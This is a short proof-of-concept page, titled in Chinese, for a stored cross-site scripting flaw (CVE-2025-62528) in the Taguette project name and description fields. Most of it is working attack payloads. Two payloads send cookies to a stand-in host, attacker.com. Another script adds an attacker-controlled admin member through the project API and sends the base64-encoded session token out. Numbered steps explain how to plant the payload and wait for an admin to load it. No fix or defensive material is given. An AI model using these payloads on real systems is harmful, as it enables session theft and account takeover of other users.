CVE-2025-62528：Taguette项目名称字段存储型XSS漏洞

<!-- CVE-2025-62528: Taguette Stored XSS PoC --> <!-- Vulnerability: Project name/description fields lack proper output encoding --> <!-- Affected: Taguette versions prior to 1.5.0 --> <!-- Step 1: Attacker (project member) creates or edits a project --> <!-- Step 2: Inject malicious JavaScript into the project name or description field --> <!-- PoC Payload 1: Basic cookie stealing via project name --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- PoC Payload 2: Using img tag with onerror handler (for description field) --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- PoC Payload 3: Using SVG with onload event --> <svg onload="alert('XSS by CVE-2025-62528')"> <!-- PoC Payload 4: Stealing session and performing privileged actions --> <script> // Exfiltrate session token var sessionToken = document.cookie; // Create a new admin user or modify project settings fetch('/api/project/1/members', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({email: '[email protected]', role: 'admin'}), credentials: 'include' }); // Send stolen data to attacker server new Image().src = 'https://attacker.com/log?data=' + btoa(sessionToken); </script> <!-- Reproduction Steps: --> <!-- 1. Log in to Taguette as a regular project member --> <!-- 2. Navigate to project settings --> <!-- 3. Set project name or description to one of the payloads above --> <!-- 4. Wait for project admin or other members to view the project --> <!-- 5. Malicious script executes automatically in victim's browser -->